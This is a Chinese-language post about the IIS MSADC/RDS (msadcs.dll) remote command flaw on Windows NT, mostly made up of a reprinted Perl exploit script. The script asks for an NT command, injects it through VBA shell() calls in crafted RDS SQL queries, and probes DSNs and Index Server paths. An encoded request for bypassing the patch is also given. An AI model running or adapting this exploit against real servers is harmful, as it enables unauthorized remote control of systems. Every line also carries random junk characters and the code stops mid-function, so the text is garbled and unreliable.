IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
AFM Ip^F #_(t46 涉及程序:
tJ3Hg8; Microsoft NT server
"}|&eBH^< +"yt/9AO 描述:
$3yzB9\a" 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%imI.6 F7!q18ew 详细:
fx74h{3u 如果你没有时间读详细内容的话,就删除:
c]Z@L~WW c:\Program Files\Common Files\System\Msadc\msadcs.dll
4Su|aWL- 有关的安全问题就没有了。
KU;d[Z@g s?j || 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
N6R0$Br itU
P% 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Ca]V%g( 关于利用ODBC远程漏洞的描述,请参看:
Aq]*$s2\G @Z+(J:Grm5 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [D$%LR X vx7wW<e%D 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
"aT"o http://www.microsoft.com/security/bulletins/MS99-025faq.asp =6YffXa_s w *Txc} 这里不再论述。
[}*xxy P#j>hS
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
o],z/MPL c.?+rcnq /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>Hd Pcsl L 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
sjW;Nsp sUe<21: ]r&dWF #将下面这段保存为txt文件,然后: "perl -x 文件名"
paYvYK-K? WHk rd8 #!perl
w~a_FGYX #
^J-"8% # MSADC/RDS 'usage' (aka exploit) script
PSB@yV < #
=@\Li)Y # by rain.forest.puppy
nqv#?>Z^OT #
e0e3b] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
CqAv^n7 } # beta test and find errors!
O!3`^_. >|W\8dTQ use Socket; use Getopt::Std;
.ng:Z7 getopts("e:vd:h:XR", \%args);
$`'%1;y@ o0B3G print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[j;#w,Wb 7dh--.i if (!defined $args{h} && !defined $args{R}) {
hsJS(qEh.' print qq~
~IQ 2;A Usage: msadc.pl -h <host> { -d <delay> -X -v }
IEj=pI -h <host> = host you want to scan (ip or domain)
,b${3*PPQ -d <seconds> = delay between calls, default 1 second
n&fV^ x -X = dump Index Server path table, if available
<&m
`)FJ -v = verbose
HUWCCVn& -e = external dictionary file for step 5
+cf. In,{ <8sy*A?0z Or a -R will resume a command session
Su>UXuNdE# 7nl ~; exit;}
;=i$0w9 W au?5^u\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
U/j+\Kc~ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
dk@j!-q^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
.!2Ac if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
];U}'& $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
JQO%-=t if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
) mG Xxmvg.Nl if (!defined $args{R}){ $ret = &has_msadc;
OE8H |?% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
^(.utO #- z(]Y,y print "Please type the NT commandline you want to run (cmd /c assumed):\n"
;e#bl1%# . "cmd /c ";
I]jK]]@ $in=<STDIN>; chomp $in;
LQ'VhNU $command="cmd /c " . $in ;
UEh-k" *<IQ+oat,a if (defined $args{R}) {&load; exit;}
DcmRb/AP* Y)KO*40c print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
R1/87eB &try_btcustmr;
> Du>vlTY 'i7!"Y6> print "\nStep 2: Trying to make our own DSN...";
$@}\T &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
5;yVA Y:3\z?oV[ print "\nStep 3: Trying known DSNs...";
FZJyqqA$_ &known_dsn;
ndxijqw wJb"X=i* print "\nStep 4: Trying known .mdbs...";
{z0PB] U &known_mdb;
M
hJ;)( EVE<LF? if (defined $args{e}){
}29Cm$p print "\nStep 5: Trying dictionary of DSN names...";
N^U<;O?YDW &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
$P7G,0- H>Ws)aCq print "Sorry Charley...maybe next time?\n";
lk. ; exit;
}rbsarG@ [R9!Tz ##############################################################################
BdYl
sYp > qDHb' sub sendraw { # ripped and modded from whisker
"YQ%j+ sleep($delay); # it's a DoS on the server! At least on mine...
^{(i;IVG my ($pstr)=@_;
5^GFN*poig socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
VQ]MJjvb die("Socket problems\n");
$ix*xm. 4m if(connect(S,pack "SnA4x8",2,80,$target)){
DUOSL select(S); $|=1;
TU,k(
`tn< print $pstr; my @in=<S>;
=S|^pN select(STDOUT); close(S);
Kj`sq":Je0 return @in;
o7#Mr`6H } else { die("Can't connect...\n"); }}
S&w(H'4N 8QaF(? ##############################################################################
AXOR<Ns` @[] A&)B sub make_header { # make the HTTP request
cc|"^-j-7 my $msadc=<<EOT
G ?&T0 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
e) x;3r"j User-Agent: ACTIVEDATA
jpW(w($XL Host: $ip
t
9Dr%# Content-Length: $clen
76M`{m Connection: Keep-Alive
i[M]d`<36 kFi^P~3D[ ADCClientVersion:01.06
J&jNONu? Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
~!G&K`u $h|rd+}, --!ADM!ROX!YOUR!WORLD!
8G0DuMI5 Content-Type: application/x-varg
TR([u Content-Length: $reqlen
JHCV7$RS lS:R## EOT
:1JICxAU ; $msadc=~s/\n/\r\n/g;
qf
qp}g\ return $msadc;}
Y
=BXV7\ afWEt - ##############################################################################
oL69w1
UW/{q`) sub make_req { # make the RDS request
7Yjxx+X9 my ($switch, $p1, $p2)=@_;
05>xQx?"m4 my $req=""; my $t1, $t2, $query, $dsn;
FII>6c 1>1ii if ($switch==1){ # this is the btcustmr.mdb query
*;I F^u1 $query="Select * from Customers where City=" . make_shell();
>RMp`HxDf $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
r31H Zx1^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/ Dn \jcEEIEi elsif ($switch==2){ # this is general make table query
b2vc $query="create table AZZ (B int, C varchar(10))";
>X(,(mKi $dsn="$p1";}
.O+qtk! ]CIZF, elsif ($switch==3){ # this is general exploit table query
@`X-=GCl $query="select * from AZZ where C=" . make_shell();
;<yVJox $dsn="$p1";}
.$,.w__m~ m#oZu { elsif ($switch==4){ # attempt to hork file info from index server
I;!zZ.\ $query="select path from scope()";
}M I9?\"q $dsn="Provider=MSIDXS;";}
6$JRV `xO&!DN elsif ($switch==5){ # bad query
]&D;'), $query="select";
U.@j!UrZ $dsn="$p1";}
yfD)|lK G2x5% ` $t1= make_unicode($query);
6c/Tm0[ $t2= make_unicode($dsn);
A-dL_3 $req = "\x02\x00\x03\x00";
h""a#n)q}` $req.= "\x08\x00" . pack ("S1", length($t1));
@e/40l|X $req.= "\x00\x00" . $t1 ;
G)E#wh_S^ $req.= "\x08\x00" . pack ("S1", length($t2));
Y}C~&Ph